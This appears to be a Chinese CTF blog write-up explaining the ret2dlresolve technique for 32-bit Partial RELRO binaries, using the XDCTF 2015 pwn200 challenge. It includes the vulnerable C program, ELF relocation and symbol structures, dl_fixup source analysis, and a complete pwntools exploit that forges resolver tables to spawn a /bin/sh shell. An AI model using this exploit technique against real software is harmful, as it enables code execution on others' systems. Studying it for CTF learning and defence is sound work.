ret2dlresolve(32位Partial RELRO)

ret2dlslove(32位)

阶段2(Partial RELRO)

  1. 首先放上我参考的博客详细参考+wiki

  2. 条件:Partial relro
    即:dynamic段只可读

  3. IDA查看各表信息(各程序各表地址不同,下面图仅用于认识个表)

    • sym表(dynsym)
      image-20211223104847141
    • Reloc表(.rel.plt)

    image-20211223110310272

    • _dl_runtime_resolve函数

      image-20211223142430998

      image-20211223142442977

    • 我们初始时看到的plt表(IDA中)与实际调试时的plt表(pwndbg)

      .plt:08049020                 push    ds:dword_804C004
      .plt:08049026                 jmp     ds:dword_804C008
      .plt:08049026 sub_8049020     endp
      .plt:08049026
      .plt:08049026 ; ------------------------------------------------------------------
      .plt:08049030 ; [00000006 BYTES: COLLAPSED FUNCTION _read. PRESS CTRL-NUMPAD+ TO EXPAND]
      .plt:08049036 ; ------------------------------------------------------------------
      .plt:08049036                 push    0
      .plt:0804903B                 jmp     sub_8049020
      
      0x8049030 (read@plt) ◂— jmp    dword ptr [0x804c00c]
      0x8049036 (read@plt+6) ◂— push   0 /* 'h' */
      0x804903b (read@plt+11) ◂— jmp    0x8049020
      

      其中分别代表的信息是:

      • 0x804c00c:read函数的got表
      • 0x8049020:plt的开始处,是第一个plt表,也叫plt[0]
      • 0x804C008:_dl_runtime_resolve函数的got表
      • 0x804C004:link_map地址

      根据32位程序传参机制,正常流程的库函数调用,途中相当于调用了函数

      _dl_runtime_resolve(link_map,reloc_arg)
      
  4. 知识小补充:

    .got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt。.got.plt对应着Elf32_Rel结构中r_offset的值

    查看Relocation 的.rel.plt和.rel.dyn的info和offset

    readelf -r xxx

    就是查看reloc表,IDA中同样可以查看

  5. 例: 2015-XDCTF-pwn200

    //gcc -fno-stack-protector -m32 -z relro -no-pie rof.c -o parelro_x64
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    
    void vuln()
    {
    	char buf[100];
    	setbuf(stdin, buf);
    	read(0, buf, 256);
    }
    int main()
    {
    	char buf[100] = "Welcome to XDCTF2015~!\n";
    	setbuf(stdout, buf);
    	write(1, buf, strlen(buf));
    	vuln();
    	return 0;
    }
    

    本文没有一步一步来,直接到最终阶段,前3部分参照ctfwiki

    实验1:利用dlreslove来调用write

    实验2:将write_reloc_offset写成我们伪造的部分,伪造在base_stage+0x24处

    实验3:进一步伪造rel.plt、sym和dynstr

    三个表重要的内容:

    • rel.plt:

      typedef struct{
      	Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
      	Elf32_Word r_info; // 符号表索引
      }Elf32_Rel;
      

      包含两个信息

      1. 一个got表的地址

      2. 一个是偏移,偏移的计算方式为:(sym表项地址 - sym表头地址)/16<<8|7

        例如本例write:(0x804822C-0x80481CC)/16<<8|7=0x607

    • sym:

      typedef struct
      {
      	Elf32_Word st_name; // Symbol name(string tbl index)
      	Elf32_Addr st_value; // Symbol value
      	Elf32_word st_size; // Symbol size
      	unsigned char st_info; // Symbol type and binding
      	unsigned char st_other; // symbol visibility under glibc>=2.2
      	Elf32_Section st_shndx; // Section index
      }Elf32_Sym;
      

      即我们IDA中可以看到的sym表内容

      其中第一项st_name:String table表项地址 - String table表头地址

    • dynstr: String table

    实验4(最终阶段):

    • 将write字符串修改为 system 字符串
    • 修改 write 的参数为 system 的参数
    #程序参照wiki,略有修改
    from pwn import *
    elf = ELF('./main_partial_relro_32')
    r = process('./main_partial_relro_32')
    rop = ROP('./main_partial_relro_32')
    offset = 112
    bss_addr = elf.bss()
    r.recvuntil('Welcome to XDCTF2015~!\n')
    
    stack_size = 0x800
    base_stage = bss_addr + stack_size
    rop.raw('a' * offset) 
    rop.read(0, base_stage, 100)
    rop.migrate(base_stage)
    r.sendline(rop.chain())
    
    rop = ROP('./main_partial_relro_32')
    sh = "/bin/sh"
    plt0 = elf.get_section_by_name('.plt').header.sh_addr
    rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
    
    fake_sym_addr = base_stage + 32
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) 
    fake_sym_addr = fake_sym_addr + align
    
    #st_name为write在strtable的偏移 = write_strtab - strtab
    #sym表第4个参数保持不变,可在IDA中查到
    st_name = fake_sym_addr + 0x10 - dynstr
    fake_write_sym = flat([st_name, 0, 0, 0x12])
    
    #index_offset记录伪造的reloc_arg(dl函数第二个参数)
    #计算方式:reloc_arg + rel_plt = rel_plt->write(write在rel_plt表中的偏移)
    index_offset = base_stage + 24 - rel_plt
    write_got = elf.got['write']
    
    #r_info=(sym表项地址 - sym表头地址)/16<<8|7
    index_dynsym = (fake_sym_addr - dynsym) / 0x10
    r_info = (index_dynsym << 8) | 0x7
    
    #伪造的write的rel_plt表,将被填充到index_offset定位到的位置
    fake_write_reloc = flat([write_got, r_info])
    
    gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
    print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2))
    
    #为什么能调用成功,因为在dlfix后返回值write地址存到eax,在之后便ret到了write
    #调用plt0,压入一个参数之后调用dlreslove
    rop.raw(plt0)
    #由于直接跳转到了plt0,所以_dl_runtime_resolve的一个参数并没有push进去
    #所以'index_offset'是我们伪造的参数
    #正常情况这个参数为plt中的push入栈的,决定了重定位哪个函数,之后会自动调用该函数
    rop.raw(index_offset)
    rop.raw('bbbb')
    rop.raw(base_stage + 80)
    rop.raw('bbbb')
    rop.raw('bbbb')
    rop.raw(fake_write_reloc) 
    rop.raw('a' * align)  
    rop.raw(fake_write_sym)
    rop.raw('system\x00') 
    rop.raw('a' * (80 - len(rop.chain())))
    rop.raw(sh + '\x00')
    rop.raw('a' * (100 - len(rop.chain())))
    print rop.dump()
    print len(rop.chain())
    r.sendline(rop.chain())
    r.interactive()
    

最终梳理

  1. 首先整理下dl_runtime_reslove机制

    • 第一次调用库函数,跳转到plt表

    • plt表跳到got表,再跳回plt+6处,此指令压入dl_runtime_reslove第二个参数

    • 跳转到plt0(plt的第一个表),此表为dl_runtime_reslove函数的plt表,首先压入link_map的地址,对应dl_runtime_reslove第一个参数,之后会对应执行dl_runtime_reslove函数体(通过跳转到got)

    • dl_runtime_reslove函数执行dl_fixup,根据各种表解析结果,将got表写入真实地址,并且执行对应函数

    • dl_fix函数执行流程

      1. 通过第二个参数找到JMPREL表中对应项,对应表项数据结构如下

        typedef struct{
        	Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
        	Elf32_Word r_info; // 符号表索引
        }Elf32_Rel;
        

        image-20211223110310272

      2. 根据r_info找到Symbol Table中对应表项,对应表项结构如下

        typedef struct
        {
        	Elf32_Word st_name; // Symbol name(string tbl index)
        	Elf32_Addr st_value; // Symbol value
        	Elf32_word st_size; // Symbol size
        	unsigned char st_info; // Symbol type and binding
        	unsigned char st_other; // symbol visibility under glibc>=2.2
        	Elf32_Section st_shndx; // Section index
        }Elf32_Sym;
        

        image-20211223104847141

      3. 校验r_info末位是否为7

      4. 以strtab基址 + write在strtab表中的偏移找到函数名(字符串)

      5. 根据函数名解析函数真实地址,并将真实地址写入got

  2. 然后是各种表

    • Sym表:ELF Symbol Table
    • string表:ELF String Table
    • reloc表:ELF JMPREL Relocation Table
  3. 附上dl_fixup的部分源码分析,参考如下

    #define D_PTR(map, i) (map)->i->d_un.d_ptr
    #define reloc_offset reloc_arg * sizeof (PLTREL)
    _dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
    {
    	// 首先通过参数reloc_arg计算重定位的入口,为JMPREL表头地址+偏移reloc_offset
    	const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    	// 然后通过reloc->r_info找到Sym表中对应的条目,为Sym表首地址+偏移,偏移根据r_info计算
    	const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    	// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    	assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    	// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    	result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    	// value为libc基址加上要解析函数的偏移地址,也即实际地址
    	value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    	// 最后把value写入相应的GOT表条目中
    	return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);	
    }
    
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值